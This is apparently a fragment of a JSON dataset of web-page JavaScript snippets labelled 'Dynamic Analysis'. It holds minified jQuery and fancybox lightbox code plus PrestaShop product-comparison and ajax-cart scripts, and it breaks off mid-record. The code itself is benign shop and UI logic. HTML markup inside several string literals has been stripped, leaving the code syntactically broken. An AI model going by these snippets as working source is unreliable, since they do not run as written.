this}}),n.each({appendTo:\"append\",prependTo:\"prepend\",insertBefore:\"before\",insertAfter:\"after\",replaceAll:\"replaceWith\"},function(a,b){n.fn[a]=function(a){for(var c,d=0,e=[],g=n(a),h=g.length-1;h>=d;d++)c=d===h?this:this.clone(!0),n(g[d])[b](c),f.apply(e,c.get());return this.pushStack(e)}});var Db,Eb={};function Fb(b,c){var d=n(c.createElement(b)).appendTo(c.body),e=a.getDefaultComputedStyle?a.getDefaultComputedStyle(d[0]).display:n.css(d[0],\"display\");return d.detach(),e}function Gb(a){var b=z,c=Eb[a];return c||(c=Fb(a,b),\"none\"!==c&&c||(Db=(Db||n(\"\",error:'

The requested content cannot be loaded.
Please try again later.

',closeBtn:'',next:'',prev:''},openEffect:\"fade\",openSpeed:250,openEasing:\"swing\",openOpacity:!0,openMethod:\"zoomIn\",closeEffect:\"fade\",closeSpeed:250,closeEasing:\"swing\",closeOpacity:!0,closeMethod:\"zoomOut\",nextEffect:\"elastic\",nextSpeed:250,nextEasing:\"swing\",nextMethod:\"changeIn\",prevEffect:\"elastic\",prevSpeed:250,prevEasing:\"swing\",prevMethod:\"changeOut\",helpers:{overlay:!0,title:!0},onCancel:f.noop,beforeLoad:f.noop,afterLoad:f.noop,beforeShow:f.noop,afterShow:f.noop,beforeChange:f.noop,beforeClose:f.noop,afterClose:f.noop},group:{},opts:{},previous:null,coming:null,current:null,isActive:!1,isOpen:!1,isOpened:!1,wrap:null,skin:null,outer:null,inner:null,player:{timer:null,isActive:!1},ajaxLoad:null,imgPreload:null,transitions:{},helpers:{},open:function(a,d){if(a&&(f.isPlainObject(d)||(d={}),!1!==b.close(!0)))return f.isArray(a)||(a=t(a)?f(a).get():[a]),f.each(a,function(e,c){var k={},g,h,j,m,l;\"object\"===f.type(c)&&(c.nodeType&&(c=f(c)),t(c)?(k={href:c.data(\"fancybox-href\")||c.attr(\"href\"),title:c.data(\"fancybox-title\")||c.attr(\"title\"),isDom:!0,element:c},f.metadata&&f.extend(!0,k,c.metadata())):k=c);g=d.href||k.href||(q(c)?c:null);h=d.title!==v?d.title:k.title||\"\";m=(j=d.content||k.content)?\"html\":d.type||k.type;!m&&k.isDom&&(m=c.data(\"fancybox-type\"),m||(m=(m=c.prop(\"class\").match(/fancybox\\.(\\w+)/))?m[1]:null));q(g)&&(m||(b.isImage(g)?m=\"image\":b.isSWF(g)?m=\"swf\":\"#\"===g.charAt(0)?m=\"inline\":q(c)&&(m=\"html\",j=c)),\"ajax\"===m&&(l=g.split(/\\s+/,2),g=l.shift(),l=l.shift()));j||(\"inline\"===m?g?j=f(q(g)?g.replace(/.*(?=#[^\\s]+$)/,\"\"):g):k.isDom&&(j=c):\"html\"===m?j=g:!m&&(!g&&k.isDom)&&(m=\"inline\",j=c));f.extend(k,{href:g,type:m,content:j,title:h,selector:l});a[e]=k}),b.opts=f.extend(!0,{},b.defaults,d),d.keys!==v&&(b.opts.keys=d.keys?f.extend({},b.defaults.keys,d.keys):!1),b.group=a,b._start(b.opts.index)},cancel:function(){var a=b.coming;a&&!1!==b.trigger(\"onCancel\")&&(b.hideLoading(),b.ajaxLoad&&b.ajaxLoad.abort(),b.ajaxLoad=null,b.imgPreload&&(b.imgPreload.onload=b.imgPreload.onerror=null),a.wrap&&a.wrap.stop(!0,!0).trigger(\"onReset\").remove(),b.coming=null,b.current||b._afterZoomOut(a))},close:function(a){b.cancel();!1!==b.trigger(\"beforeClose\")&&(b.unbindEvents(),b.isActive&&(!b.isOpen||!0===a?(f(\".fancybox-wrap\").stop(!0).trigger(\"onReset\").remove(),b._afterZoomOut()):(b.isOpen=b.isOpened=!1,b.isClosing=!0,f(\".fancybox-item, .fancybox-nav\").remove(),b.wrap.stop(!0,!0).removeClass(\"fancybox-opened\"),b.transitions[b.current.closeMethod]())))},play:function(a){var d=function(){clearTimeout(b.player.timer)},e=function(){d();b.current&&b.player.isActive&&(b.player.timer=setTimeout(b.next,b.current.playSpeed))},c=function(){d();p.unbind(\".player\");b.player.isActive=!1;b.trigger(\"onPlayEnd\")};if(!0===a||!b.player.isActive&&!1!==a){if(b.current&&(b.current.loop||b.current.index=c.index?\"next\":\"prev\"],b.router=e||\"jumpto\",c.loop&&(0>a&&(a=c.group.length+a%c.group.length),a%=c.group.length),c.group[a]!==v&&(b.cancel(),b._start(a)))},reposition:function(a,d){var e=b.current,c=e?e.wrap:null,k;c&&(k=b._getPosition(d),a&&\"scroll\"===a.type?(delete k.position,c.stop(!0,!0).animate(k,200)):(c.css(k),e.pos=f.extend({},e.dim,k)))},update:function(a){var d=a&&a.type,e=!d||\"orientationchange\"===d;e&&(clearTimeout(B),B=null);b.isOpen&&!B&&(B=setTimeout(function(){var c=b.current;c&&!b.isClosing&&(b.wrap.removeClass(\"fancybox-tmp\"),(e||\"load\"===d||\"resize\"===d&&c.autoResize)&&b._setDimension(),\"scroll\"===d&&c.canShrink||b.reposition(a),b.trigger(\"onUpdate\"),B=null)},e&&!s?0:300))},toggle:function(a){b.isOpen&&(b.current.fitToView=\"boolean\"===f.type(a)?a:!b.current.fitToView,s&&(b.wrap.removeAttr(\"style\").addClass(\"fancybox-tmp\"),b.trigger(\"onUpdate\")),b.update())},hideLoading:function(){p.unbind(\".loading\");f(\"#fancybox-loading\").remove()},showLoading:function(){var a,d;b.hideLoading();a=f('
').click(b.cancel).appendTo(\"body\");p.bind(\"keydown.loading\",function(a){if(27===(a.which||a.keyCode))a.preventDefault(),b.cancel()});b.defaults.fixed||(d=b.getViewport(),a.css({position:\"absolute\",top:0.5*d.h+d.y,left:0.5*d.w+d.x}))},getViewport:function(){var a=b.current&&b.current.locked||!1,d={x:n.scrollLeft(),y:n.scrollTop()};a?(d.w=a[0].clientWidth,d.h=a[0].clientHeight):(d.w=s&&r.innerWidth?r.innerWidth:n.width(),d.h=s&&r.innerHeight?r.innerHeight:n.height());return d},unbindEvents:function(){b.wrap&&t(b.wrap)&&b.wrap.unbind(\".fb\");p.unbind(\".fb\");n.unbind(\".fb\")},bindEvents:function(){var a=b.current,d;a&&(n.bind(\"orientationchange.fb\"+(s?\"\":\" resize.fb\")+(a.autoCenter&&!a.locked?\" scroll.fb\":\"\"),b.update),(d=a.keys)&&p.bind(\"keydown.fb\",function(e){var c=e.which||e.keyCode,k=e.target||e.srcElement;if(27===c&&b.coming)return!1;!e.ctrlKey&&(!e.altKey&&!e.shiftKey&&!e.metaKey&&(!k||!k.type&&!f(k).is(\"[contenteditable]\")))&&f.each(d,function(d,k){if(1h[0].clientWidth||h[0].clientHeight&&h[0].scrollHeight>h[0].clientHeight),h=f(h).parent();if(0!==c&&!j&&1g||0>k)b.next(0>g?\"up\":\"right\");d.preventDefault()}}))},trigger:function(a,d){var e,c=d||b.coming||b.current;if(c){f.isFunction(c[a])&&(e=c[a].apply(c,Array.prototype.slice.call(arguments,1)));if(!1===e)return!1;c.helpers&&f.each(c.helpers,function(d,e){if(e&&b.helpers[d]&&f.isFunction(b.helpers[d][a]))b.helpers[d][a](f.extend(!0,{},b.helpers[d].defaults,e),c)});p.trigger(a)}},isImage:function(a){return q(a)&&a.match(/(^data:image\\/.*,)|(\\.(jp(e|g|eg)|gif|png|bmp|webp|svg)((\\?|#).*)?$)/i)},isSWF:function(a){return q(a)&&a.match(/\\.(swf)((\\?|#).*)?$/i)},_start:function(a){var d={},e,c;a=l(a);e=b.group[a]||null;if(!e)return!1;d=f.extend(!0,{},b.opts,e);e=d.margin;c=d.padding;\"number\"===f.type(e)&&(d.margin=[e,e,e,e]);\"number\"===f.type(c)&&(d.padding=[c,c,c,c]);d.modal&&f.extend(!0,d,{closeBtn:!1,closeClick:!1,nextClick:!1,arrows:!1,mouseWheel:!1,keys:null,helpers:{overlay:{closeClick:!1}}});d.autoSize&&(d.autoWidth=d.autoHeight=!0);\"auto\"===d.width&&(d.autoWidth=!0);\"auto\"===d.height&&(d.autoHeight=!0);d.group=b.group;d.index=a;b.coming=d;if(!1===b.trigger(\"beforeLoad\"))b.coming=null;else{c=d.type;e=d.href;if(!c)return b.coming=null,b.current&&b.router&&\"jumpto\"!==b.router?(b.current.index=a,b[b.router](b.direction)):!1;b.isActive=!0;if(\"image\"===c||\"swf\"===c)d.autoHeight=d.autoWidth=!1,d.scrolling=\"visible\";\"image\"===c&&(d.aspectRatio=!0);\"iframe\"===c&&s&&(d.scrolling=\"scroll\");d.wrap=f(d.tpl.wrap).addClass(\"fancybox-\"+(s?\"mobile\":\"desktop\")+\" fancybox-type-\"+c+\" fancybox-tmp \"+d.wrapCSS).appendTo(d.parent||\"body\");f.extend(d,{skin:f(\".fancybox-skin\",d.wrap),outer:f(\".fancybox-outer\",d.wrap),inner:f(\".fancybox-inner\",d.wrap)});f.each([\"Top\",\"Right\",\"Bottom\",\"Left\"],function(a,b){d.skin.css(\"padding\"+b,w(d.padding[a]))});b.trigger(\"onReady\");if(\"inline\"===c||\"html\"===c){if(!d.content||!d.content.length)return b._error(\"content\")}else if(!e)return b._error(\"href\");\"image\"===c?b._loadImage():\"ajax\"===c?b._loadAjax():\"iframe\"===c?b._loadIframe():b._afterLoad()}},_error:function(a){f.extend(b.coming,{type:\"html\",autoWidth:!0,autoHeight:!0,minWidth:0,minHeight:0,scrolling:\"no\",hasError:a,content:b.coming.tpl.error});b._afterLoad()},_loadImage:function(){var a=b.imgPreload=new Image;a.onload=function(){this.onload=this.onerror=null;b.coming.width=this.width/b.opts.pixelRatio;b.coming.height=this.height/b.opts.pixelRatio;b._afterLoad()};a.onerror=function(){this.onload=this.onerror=null;b._error(\"image\")};a.src=b.coming.href;!0!==a.complete&&b.showLoading()},_loadAjax:function(){var a=b.coming;b.showLoading();b.ajaxLoad=f.ajax(f.extend({},a.ajax,{url:a.href,error:function(a,e){b.coming&&\"abort\"!==e?b._error(\"ajax\",a):b.hideLoading()},success:function(d,e){\"success\"===e&&(a.content=d,b._afterLoad())}}))},_loadIframe:function(){var a=b.coming,d=f(a.tpl.iframe.replace(/\\{rnd\\}/g,(new Date).getTime())).attr(\"scrolling\",s?\"auto\":a.iframe.scrolling).attr(\"src\",a.href);f(a.wrap).bind(\"onReset\",function(){try{f(this).find(\"iframe\").hide().attr(\"src\",\"//about:blank\").end().empty()}catch(a){}});a.iframe.preload&&(b.showLoading(),d.one(\"load\",function(){f(this).data(\"ready\",1);s||f(this).bind(\"load.fb\",b.update);f(this).parents(\".fancybox-wrap\").width(\"100%\").removeClass(\"fancybox-tmp\").show();b._afterLoad()}));a.content=d.appendTo(a.inner);a.iframe.preload||b._afterLoad()},_preloadImages:function(){var a=b.group,d=b.current,e=a.length,c=d.preload?Math.min(d.preload,e-1):0,f,g;for(g=1;g<=c;g+=1)f=a[(d.index+g)%e],\"image\"===f.type&&f.href&&((new Image).src=f.href)},_afterLoad:function(){var a=b.coming,d=b.current,e,c,k,g,h;b.hideLoading();if(a&&!1!==b.isActive)if(!1===b.trigger(\"afterLoad\",a,d))a.wrap.stop(!0).trigger(\"onReset\").remove(),b.coming=null;else{d&&(b.trigger(\"beforeChange\",d),d.wrap.stop(!0).removeClass(\"fancybox-opened\").find(\".fancybox-item, .fancybox-nav\").remove());b.unbindEvents();e=a.content;c=a.type;k=a.scrolling;f.extend(b,{wrap:a.wrap,skin:a.skin,outer:a.outer,inner:a.inner,current:a,previous:d});g=a.href;switch(c){case \"inline\":case \"ajax\":case \"html\":a.selector?e=f(\"
\").html(e).find(a.selector):t(e)&&(e.data(\"fancybox-placeholder\")||e.data(\"fancybox-placeholder\",f('
').insertAfter(e).hide()),e=e.show().detach(),a.wrap.bind(\"onReset\",function(){f(this).find(e).length&&e.hide().replaceAll(e.data(\"fancybox-placeholder\")).data(\"fancybox-placeholder\",!1)}));break;case \"image\":e=a.tpl.image.replace(\"{href}\",g);break;case \"swf\":e='',h=\"\",f.each(a.swf,function(a,b){e+='';h+=\" \"+a+'=\"'+b+'\"'}),e+='\"}(!t(e)||!e.parent().is(a.inner))&&a.inner.append(e);b.trigger(\"beforeShow\");a.inner.css(\"overflow\",\"yes\"===k?\"scroll\":\"no\"===k?\"hidden\":k);b._setDimension();b.reposition();b.isOpen=!1;b.coming=null;b.bindEvents();if(b.isOpened){if(d.prevMethod)b.transitions[d.prevMethod]()}else f(\".fancybox-wrap\").not(a.wrap).stop(!0).trigger(\"onReset\").remove();b.transitions[b.isOpened?a.nextMethod:a.openMethod]();b._preloadImages()}},_setDimension:function(){var a=b.getViewport(),d=0,e=!1,c=!1,e=b.wrap,k=b.skin,g=b.inner,h=b.current,c=h.width,j=h.height,m=h.minWidth,u=h.minHeight,n=h.maxWidth,p=h.maxHeight,s=h.scrolling,q=h.scrollOutside?h.scrollbarWidth:0,x=h.margin,y=l(x[1]+x[3]),r=l(x[0]+x[2]),v,z,t,C,A,F,B,D,H;e.add(k).add(g).width(\"auto\").height(\"auto\").removeClass(\"fancybox-tmp\");x=l(k.outerWidth(!0)-k.width());v=l(k.outerHeight(!0)-k.height());z=y+x;t=r+v;C=E(c)?(a.w-z)*l(c)/100:c;A=E(j)?(a.h-t)*l(j)/100:j;if(\"iframe\"===h.type){if(H=h.content,h.autoHeight&&1===H.data(\"ready\"))try{H[0].contentWindow.document.location&&(g.width(C).height(9999),F=H.contents().find(\"body\"),q&&F.css(\"overflow-x\",\"hidden\"),A=F.outerHeight(!0))}catch(G){}}else if(h.autoWidth||h.autoHeight)g.addClass(\"fancybox-tmp\"),h.autoWidth||g.width(C),h.autoHeight||g.height(A),h.autoWidth&&(C=g.width()),h.autoHeight&&(A=g.height()),g.removeClass(\"fancybox-tmp\");c=l(C);j=l(A);D=C/A;m=l(E(m)?l(m,\"w\")-z:m);n=l(E(n)?l(n,\"w\")-z:n);u=l(E(u)?l(u,\"h\")-t:u);p=l(E(p)?l(p,\"h\")-t:p);F=n;B=p;h.fitToView&&(n=Math.min(a.w-z,n),p=Math.min(a.h-t,p));z=a.w-y;r=a.h-r;h.aspectRatio?(c>n&&(c=n,j=l(c/D)),j>p&&(j=p,c=l(j*D)),cz||y>r)&&(c>m&&j>u)&&!(19n&&(c=n,j=l(c/D)),g.width(c).height(j),e.width(c+x),a=e.width(),y=e.height();else c=Math.max(m,Math.min(c,c-(a-z))),j=Math.max(u,Math.min(j,j-(y-r)));q&&(\"auto\"===s&&jz||y>r)&&c>m&&j>u;c=h.aspectRatio?cu&&j
').appendTo(b.coming?b.coming.parent:a.parent);this.fixed=!1;a.fixed&&b.defaults.fixed&&(this.overlay.addClass(\"fancybox-overlay-fixed\"),this.fixed=!0)},open:function(a){var d=this;a=f.extend({},this.defaults,a);this.overlay?this.overlay.unbind(\".overlay\").width(\"auto\").height(\"auto\"):this.create(a);this.fixed||(n.bind(\"resize.overlay\",f.proxy(this.update,this)),this.update());a.closeClick&&this.overlay.bind(\"click.overlay\",function(a){if(f(a.target).hasClass(\"fancybox-overlay\"))return b.isActive?b.close():d.close(),!1});this.overlay.css(a.css).show()},close:function(){var a,b;n.unbind(\"resize.overlay\");this.el.hasClass(\"fancybox-lock\")&&(f(\".fancybox-margin\").removeClass(\"fancybox-margin\"),a=n.scrollTop(),b=n.scrollLeft(),this.el.removeClass(\"fancybox-lock\"),n.scrollTop(a).scrollLeft(b));f(\".fancybox-overlay\").remove().hide();f.extend(this,{overlay:null,fixed:!1})},update:function(){var a=\"100%\",b;this.overlay.width(a).height(\"100%\");I?(b=Math.max(G.documentElement.offsetWidth,G.body.offsetWidth),p.width()>b&&(a=p.width())):p.width()>n.width()&&(a=p.width());this.overlay.width(a).height(p.height())},onReady:function(a,b){var e=this.overlay;f(\".fancybox-overlay\").stop(!0,!0);e||this.create(a);a.locked&&(this.fixed&&b.fixed)&&(e||(this.margin=p.height()>n.height()?f(\"html\").css(\"margin-right\").replace(\"px\",\"\"):!1),b.locked=this.overlay.append(b.wrap),b.fixed=!1);!0===a.showEarly&&this.beforeShow.apply(this,arguments)},beforeShow:function(a,b){var e,c;b.locked&&(!1!==this.margin&&(f(\"*\").filter(function(){return\"fixed\"===f(this).css(\"position\")&&!f(this).hasClass(\"fancybox-overlay\")&&!f(this).hasClass(\"fancybox-wrap\")}).addClass(\"fancybox-margin\"),this.el.addClass(\"fancybox-margin\")),e=n.scrollTop(),c=n.scrollLeft(),this.el.addClass(\"fancybox-lock\"),n.scrollTop(e).scrollLeft(c));this.open(a)},onUpdate:function(){this.fixed||this.update()},afterClose:function(a){this.overlay&&!b.coming&&this.overlay.fadeOut(a.speedOut,f.proxy(this.close,this))}};b.helpers.title={defaults:{type:\"float\",position:\"bottom\"},beforeShow:function(a){var d=b.current,e=d.title,c=a.type;f.isFunction(e)&&(e=e.call(d.element,d));if(q(e)&&\"\"!==f.trim(e)){d=f('
'+e+\"
\");switch(c){case \"inside\":c=b.skin;break;case \"outside\":c=b.wrap;break;case \"over\":c=b.inner;break;default:c=b.skin,d.appendTo(\"body\"),I&&d.width(d.width()),d.wrapInner(''),b.current.margin[2]+=Math.abs(l(d.css(\"margin-bottom\")))}d[\"top\"===a.position?\"prependTo\":\"appendTo\"](c)}}};f.fn.fancybox=function(a){var d,e=f(this),c=this.selector||\"\",k=function(g){var h=f(this).blur(),j=d,k,l;!g.ctrlKey&&(!g.altKey&&!g.shiftKey&&!g.metaKey)&&!h.is(\".fancybox-wrap\")&&(k=a.groupAttr||\"data-fancybox-group\",l=h.attr(k),l||(k=\"rel\",l=h.get(0)[k]),l&&(\"\"!==l&&\"nofollow\"!==l)&&(h=c.length?f(c):e,h=h.filter(\"[\"+k+'=\"'+l+'\"]'),j=h.index(this)),a.index=j,!1!==b.open(h,a)&&g.preventDefault())};a=a||{};d=a.index||0;!c||!1===a.live?e.unbind(\"click.fb-start\").bind(\"click.fb-start\",k):p.undelegate(c,\"click.fb-start\").delegate(c+\":not('.fancybox-item, .fancybox-nav')\",\"click.fb-start\",k);this.filter(\"[data-fancybox-start=1]\").trigger(\"click\");return this};p.ready(function(){var a,d;f.scrollbarWidth===v&&(f.scrollbarWidth=function(){var a=f('
').appendTo(\"body\"),b=a.children(),b=b.innerWidth()-b.height(99).innerWidth();a.remove();return b});if(f.support.fixedPosition===v){a=f.support;d=f('
').appendTo(\"body\");var e=20===d[0].offsetTop||15===d[0].offsetTop;d.remove();a.fixedPosition=e}f.extend(b.defaults,{scrollbarWidth:f.scrollbarWidth(),fixed:f.support.fixedPosition,parent:f(\"body\")});a=f(r).width();J.addClass(\"fancybox-lock-test\");d=f(r).width();J.removeClass(\"fancybox-lock-test\");f(\"\").appendTo(\"head\")})})(window,document,jQuery);", "relationship": "External", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA * @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/$(document).ready(function(){\t$(document).on('click', '.add_to_compare', function(e){\t\te.preventDefault();\t\tif (typeof addToCompare != 'undefined')\t\t\taddToCompare(parseInt($(this).data('id-product')));\t});\treloadProductComparison();\tcompareButtonsStatusRefresh();\ttotalCompareButtons();});function addToCompare(productId){\tvar totalValueNow = parseInt($('.bt_compare').next('.compare_product_count').val());\tvar action, totalVal;\tif ($.inArray(parseInt(productId),comparedProductsIds) === -1)\t\taction = 'add';\telse\t\taction = 'remove';\t$.ajax({\t\turl: baseUri + '?controller=products-comparison&ajax=1&action=' + action + '&id_product=' + productId,\t\tasync: true,\t\tcache: false,\t\tsuccess: function(data) {\t\t\tif (action === 'add' && comparedProductsIds.length < comparator_max_item) {\t\t\t\tcomparedProductsIds.push(parseInt(productId)),\t\t\t\tcompareButtonsStatusRefresh(),\t\t\t\ttotalVal = totalValueNow +1,\t\t\t\t$('.bt_compare').next('.compare_product_count').val(totalVal),\t\t\t\ttotalValue(totalVal);\t\t\t}\t\t\telse if (action === 'remove') {\t\t\t\tcomparedProductsIds.splice($.inArray(parseInt(productId), comparedProductsIds), 1),\t\t\t\tcompareButtonsStatusRefresh(),\t\t\t\ttotalVal = totalValueNow -1,\t\t\t\t$('.bt_compare').next('.compare_product_count').val(totalVal),\t\t\t\ttotalValue(totalVal);\t\t\t}\t\t\telse\t\t\t{\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t$.fancybox.open([{\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\tcontent: '

' + max_item + '

'\t\t\t\t\t}], {\t\t\t\t\t\tpadding: 0\t\t\t\t\t});\t\t\t\telse\t\t\t\t\talert(max_item);\t\t\t}\t\t\ttotalCompareButtons();\t\t},\t\terror: function(){}\t});}function reloadProductComparison(){\t$(document).on('click', 'a.cmp_remove', function(e){\t\te.preventDefault();\t\tvar idProduct = parseInt($(this).data('id-product'));\t\t$.ajax({\t\t\turl: baseUri + '?controller=products-comparison&ajax=1&action=remove&id_product=' + idProduct,\t\t\tasync: false,\t\t\tcache: false\t\t});\t\t$('td.product-' + idProduct).fadeOut(600);\t\tvar compare_product_list = get('compare_product_list');\t\tvar bak = compare_product_list;\t\tvar new_compare_product_list = [];\t\tcompare_product_list = decodeURIComponent(compare_product_list).split('|');\t\tfor (var i in compare_product_list)\t\t\tif (parseInt(compare_product_list[i]) != idProduct)\t\t\t\tnew_compare_product_list.push(compare_product_list[i]);\t\tif (new_compare_product_list.length)\t\t\twindow.location.search = window.location.search.replace(bak, new_compare_product_list.join(encodeURIComponent('|')));\t});};function compareButtonsStatusRefresh(){\t$('.add_to_compare').each(function() {\t\tif ($.inArray(parseInt($(this).data('id-product')), comparedProductsIds) !== -1)\t\t\t$(this).addClass('checked');\t\telse\t\t\t$(this).removeClass('checked');\t});}function totalCompareButtons(){\tvar totalProductsToCompare = parseInt($('.bt_compare .total-compare-val').html());\tif (typeof totalProductsToCompare !== \"number\" || totalProductsToCompare === 0)\t\t$('.bt_compare').attr(\"disabled\",true);\telse\t\t$('.bt_compare').attr(\"disabled\",false);}function totalValue(value){\t$('.bt_compare').find('.total-compare-val').html(value);}function get(name){\tvar regexS = \"[\\\\?&]\" + name + \"=([^&#]*)\";\tvar regex = new RegExp(regexS);\tvar results = regex.exec(window.location.search);\tif (results == null)\t\treturn \"\";\telse\t\treturn results[1];}", "relationship": "External", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA * @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/$(document).ready(function(){\tajaxCart.overrideButtonsInThePage();\t$(document).on('click', '.block_cart_collapse', function(e){\t\te.preventDefault();\t\tajaxCart.collapse();\t});\t$(document).on('click', '.block_cart_expand', function(e){\t\te.preventDefault();\t\tajaxCart.expand();\t});\tvar current_timestamp = parseInt(new Date().getTime() / 1000);\tif (typeof $('.ajax_cart_quantity').html() == 'undefined' || (typeof generated_date != 'undefined' && generated_date != null && (parseInt(generated_date) + 30) < current_timestamp))\t\tajaxCart.refresh();\t/* roll over cart */\tvar cart_block = new HoverWatcher('#header .cart_block');\tvar shopping_cart = new HoverWatcher('#header .shopping_cart');\tvar is_touch_enabled = false;\tif ('ontouchstart' in document.documentElement)\t\tis_touch_enabled = true;\t$(document).on('click', '#header .shopping_cart > a:first', function(e){\t\te.preventDefault();\t\te.stopPropagation();\t\t// Simulate hover when browser says device is touch based\t\tif (is_touch_enabled)\t\t{\t\t\tif ($(this).next('.cart_block:visible').length && !cart_block.isHoveringOver())\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideUp(450);\t\t\telse if (ajaxCart.nb_total_products > 0 || parseInt($('.ajax_cart_quantity').html()) > 0)\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideDown(450);\t\t\treturn;\t\t}\t\telse\t\t\twindow.location.href = $(this).attr('href');\t});\t$(\"#header .shopping_cart a:first\").hover(\t\tfunction(){\t\t\tif (ajaxCart.nb_total_products > 0 || parseInt($('.ajax_cart_quantity').html()) > 0)\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideDown(450);\t\t},\t\tfunction(){\t\t\tsetTimeout(function(){\t\t\t\tif (!shopping_cart.isHoveringOver() && !cart_block.isHoveringOver())\t\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideUp(450);\t\t\t}, 200);\t\t}\t);\t$(\"#header .cart_block\").hover(\t\tfunction(){\t\t},\t\tfunction(){\t\t\tsetTimeout(function(){\t\t\t\tif (!shopping_cart.isHoveringOver())\t\t\t\t\t$(\"#header .cart_block\").stop(true, true).slideUp(450);\t\t\t}, 200);\t\t}\t);\t$(document).on('click', '.delete_voucher', function(e){\t\te.preventDefault();\t\t$.ajax({\t\t\ttype: 'POST',\t\t\theaders: { \"cache-control\": \"no-cache\" },\t\t\tasync: true,\t\t\tcache: false,\t\t\turl:$(this).attr('href') + '?rand=' + new Date().getTime()\t\t});\t\t$(this).parent().parent().remove(); ajaxCart.refresh();\t\tif ($('body').attr('id') == 'order' || $('body').attr('id') == 'order-opc')\t\t{\t\t\tif (typeof(updateAddressSelection) != 'undefined')\t\t\t\tupdateAddressSelection();\t\t\telse\t\t\t\tlocation.reload();\t\t}\t});\t$(document).on('click', '#cart_navigation input', function(e){\t\t$(this).prop('disabled', 'disabled').addClass('disabled');\t\t$(this).closest(\"form\").get(0).submit();\t});\t$(document).on('click', '#layer_cart .cross, #layer_cart .continue, .layer_cart_overlay', function(e){\t\te.preventDefault();\t\t$('.layer_cart_overlay').hide();\t\t$('#layer_cart').fadeOut('fast');\t});\t$('#columns #layer_cart, #columns .layer_cart_overlay').detach().prependTo('#columns');});//JS Object : update the cart by ajax actionsvar ajaxCart = {\tnb_total_products: 0,\t//override every button in the page in relation to the cart\toverrideButtonsInThePage : function(){\t\t//for every 'add' buttons...\t\t$(document).off('click', '.ajax_add_to_cart_button').on('click', '.ajax_add_to_cart_button', function(e){\t\t\te.preventDefault();\t\t\tvar idProduct = parseInt($(this).data('id-product'));\t\t\tvar minimalQuantity = parseInt($(this).data('minimal_quantity'));\t\t\tif (!minimalQuantity)\t\t\t\tminimalQuantity = 1;\t\t\tif ($(this).prop('disabled') != 'disabled')\t\t\t\tajaxCart.add(idProduct, null, false, this, minimalQuantity);\t\t});\t\t//for product page 'add' button...\t\t$(document).off('click', '#add_to_cart button').on('click', '#add_to_cart button', function(e){\t\t\te.preventDefault();\t\t\tajaxCart.add($('#product_page_product_id').val(), $('#idCombination').val(), true, null, $('#quantity_wanted').val(), null);\t\t});\t\t//for 'delete' buttons in the cart block...\t\t$(document).off('click', '.cart_block_list .ajax_cart_block_remove_link').on('click', '.cart_block_list .ajax_cart_block_remove_link', function(e){\t\t\te.preventDefault();\t\t\t// Customized product management\t\t\tvar customizationId = 0;\t\t\tvar productId = 0;\t\t\tvar productAttributeId = 0;\t\t\tvar customizableProductDiv = $($(this).parent().parent()).find(\"div[data-id^=deleteCustomizableProduct_]\");\t\t\tvar idAddressDelivery = false;\t\t\tif (customizableProductDiv && $(customizableProductDiv).length)\t\t\t{\t\t\t\tvar ids = customizableProductDiv.data('id').split('_');\t\t\t\tif (typeof(ids[1]) != 'undefined')\t\t\t\t{\t\t\t\t\tcustomizationId = parseInt(ids[1]);\t\t\t\t\tproductId = parseInt(ids[2]);\t\t\t\t\tif (typeof(ids[3]) != 'undefined')\t\t\t\t\t\tproductAttributeId = parseInt(ids[3]);\t\t\t\t\tif (typeof(ids[4]) != 'undefined')\t\t\t\t\t\tidAddressDelivery = parseInt(ids[4]);\t\t\t\t}\t\t\t}\t\t\t// Common product management\t\t\tif (!customizationId)\t\t\t{\t\t\t\t//retrieve idProduct and idCombination from the displayed product in the block cart\t\t\t\tvar firstCut = $(this).parent().parent().data('id').replace('cart_block_product_', '');\t\t\t\tfirstCut = firstCut.replace('deleteCustomizableProduct_', '');\t\t\t\tids = firstCut.split('_');\t\t\t\tproductId = parseInt(ids[0]);\t\t\t\tif (typeof(ids[1]) != 'undefined')\t\t\t\t\tproductAttributeId = parseInt(ids[1]);\t\t\t\tif (typeof(ids[2]) != 'undefined')\t\t\t\t\tidAddressDelivery = parseInt(ids[2]);\t\t\t}\t\t\t// Removing product from the cart\t\t\tajaxCart.remove(productId, productAttributeId, customizationId, idAddressDelivery);\t\t});\t},\t// try to expand the cart\texpand : function(){\t\tif ($('.cart_block_list').hasClass('collapsed'))\t\t{\t\t\t$('.cart_block_list.collapsed').slideDown({\t\t\t\tduration: 450,\t\t\t\tcomplete: function(){\t\t\t\t\t$(this).parent().show(); // parent is hidden in global.js::accordion()\t\t\t\t\t$(this).addClass('expanded').removeClass('collapsed');\t\t\t\t}\t\t\t});\t\t\t// save the expand statut in the user cookie\t\t\t$.ajax({\t\t\t\ttype: 